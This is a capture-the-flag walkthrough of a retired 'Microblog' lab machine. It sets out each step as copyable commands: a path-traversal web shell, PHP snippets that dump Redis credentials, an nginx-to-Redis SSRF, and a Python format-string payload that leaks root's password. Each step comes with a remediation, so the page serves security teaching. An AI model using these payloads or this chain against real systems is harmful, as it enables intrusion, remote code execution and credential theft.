Format
Summary
I found a Microblog PHP application on a virtual host whose full source was browsable in an exposed Gitea instance. Source review showed the per-blog editor wrote my own content to a path derived from an id parameter, with no path-traversal guard, while the blog's uploads directory executed PHP.
After self-registering and creating a blog, I wrote a PHP file into that uploads directory and gained command execution as www-data. The app's Redis store, reachable from that shell, held the local user cooper's password in clear text, which worked over SSH.
Cooper could run /usr/bin/license as root; that Python tool renders a pro user's Redis profile fields with str.format, so setting the profile's first-name to a format-string payload (written to Redis through an nginx /static/ proxy SSRF) leaked the global secret, which is root's password. Su with that password gave root.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for cooper over sshpass>"
export PASSWORD2="<the-password-you-recovered, for cooper over sshpass>"Some commands also carry a value in angle brackets — <session_cookie> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Ports 22, 80 and 3000 open; 3000 is Gitea.
$ nmap -p- --min-rate 2000 -sC -sV $TARGETResolve the virtual hosts locally.
$ echo "$TARGET microblog.htb app.microblog.htb" | sudo tee -a /etc/hostsConfirm the Microblog application on the app vhost.
$ curl -ksS -D - -H 'Host: app.microblog.htb' http://$TARGET/Exact commands 2
Clone the source anonymously.
$ git -c http.extraHeader='Host: microblog.htb' clone http://$TARGET:3000/cooper/microblog.git microblog-srcFind the sinks: edit/index.php writes header->id, Redis is the data store, uploads run PHP.
$ grep -RInE '\$_(GET|POST|REQUEST|COOKIE)|file_put_contents|fopen|redis|upload|include' microblog-src --include='*.php'FixDo not expose source repositories to anonymous usersMedium
Exact commands 3
Create a free account; choose your own registration password.
$ curl -sS -D - -X POST http://$TARGET/register/index.php -H 'Host: app.microblog.htb' --data 'first-name=Pwn&last-name=Operator&username=pwnfmtx&password=changeme'Log in and capture the session cookie from Set-Cookie.
$ curl -sS -D - -X POST http://$TARGET/login/index.php -H 'Host: app.microblog.htb' --data 'username=pwnfmtx&password=changeme'Create a blog; provisions pwnfmty.microblog.htb.
$ curl -sS -i -X POST http://$TARGET/dashboard/index.php -H 'Host: app.microblog.htb' -H 'Cookie: username=<session_cookie>' --data-urlencode 'new-blog-name=pwnfmty'FixRestrict who can register and create blogsMedium
Exact commands 2
Traversal in id drops the PHP into the executing uploads directory.
$ curl -sS -i -X POST http://$TARGET/edit/index.php -H 'Host: pwnfmty.microblog.htb' -H 'Cookie: username=<session_cookie>' --data-urlencode 'id=../uploads/rce.php' --data-urlencode 'header=<?php system($_GET["c"]); ?>'Returns uid=33(www-data): code execution as the web user.
$ curl -sS "http://$TARGET/uploads/rce.php?c=id" -H 'Host: pwnfmty.microblog.htb'FixValidate the editor's file path and block PHP execution in content directoriesCritical
Exact commands 4
Drop a Redis client that lists the keys.
$ curl -sS -X POST http://$TARGET/edit/index.php -H 'Host: pwnfmty.microblog.htb' -H 'Cookie: username=<session_cookie>' --data-urlencode 'id=../uploads/keys.php' --data-urlencode 'header=<?php $r=new Redis();$r->connect("/var/run/redis/redis.sock");print_r($r->keys("*")); ?>'Fetch it: the key list includes cooper.dooper.
$ curl -sS "http://$TARGET/uploads/keys.php" -H 'Host: pwnfmty.microblog.htb'Drop a client that reads the cooper.dooper hash.
$ curl -sS -X POST http://$TARGET/edit/index.php -H 'Host: pwnfmty.microblog.htb' -H 'Cookie: username=<session_cookie>' --data-urlencode 'id=../uploads/account.php' --data-urlencode 'header=<?php $r=new Redis();$r->connect("/var/run/redis/redis.sock");print_r($r->hGetAll("cooper.dooper")); ?>'Fetch it: prints username cooper.dooper and cooper's password (redact before sharing).
$ curl -sS "http://$TARGET/uploads/account.php" -H 'Host: pwnfmty.microblog.htb'FixStop storing plaintext credentials and reusing them for system loginsHigh
Exact commands 1
Prove the cooper context and read <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null cooper@$TARGET 'id; cat /home/cooper/user.txt'
uid=1000(cooper)Exact commands 6
Confirms cooper may run (root) /usr/bin/license.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null cooper@$TARGET "printf '%s\n' \"$PASSWORD\" | sudo -S -l"Read its source: the first-name/last-name profile fields are rendered through str.format, and the secret is loaded from /root/license/secret.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null cooper@$TARGET 'sed -n "1,260p" /usr/bin/license'Nginx /static/ proxies to the path, sending the HSET verb to Redis: mark the account pro so the license tool renders it (502 expected; the HSET lands).
$ curl -sS -i --path-as-is -X HSET "http://$TARGET/static/unix:/var/run/redis/redis.sock:pwnfmtx%20pro%20true%20/x" -H 'Host: microblog.htb'Same path, setting first-name to the format-string payload {license.__init__.__globals__[secret]}.
$ curl -sS -i --path-as-is -X HSET "http://$TARGET/static/unix:/var/run/redis/redis.sock:pwnfmtx%20first-name%20%7Blicense.__init__.__globals__%5Bsecret%5D%7D%20/x" -H 'Host: microblog.htb'The rendered first-name leaks the global secret; the plaintext key embeds root's password.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null cooper@$TARGET "printf '%s\n' \"$PASSWORD\" | sudo -S /usr/bin/license -p pwnfmtx"Su with the leaked password returns uid=0(root) and <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null cooper@$TARGET "printf '%s\n' \"$PASSWORD2\" | su -c 'id; cat /root/root.txt'"
uid=0(root)FixFix the format-string injection in the license tool and stop running it as root with user-controlled dataCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 |
| 3000/tcp | http nginx 1.18.0 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.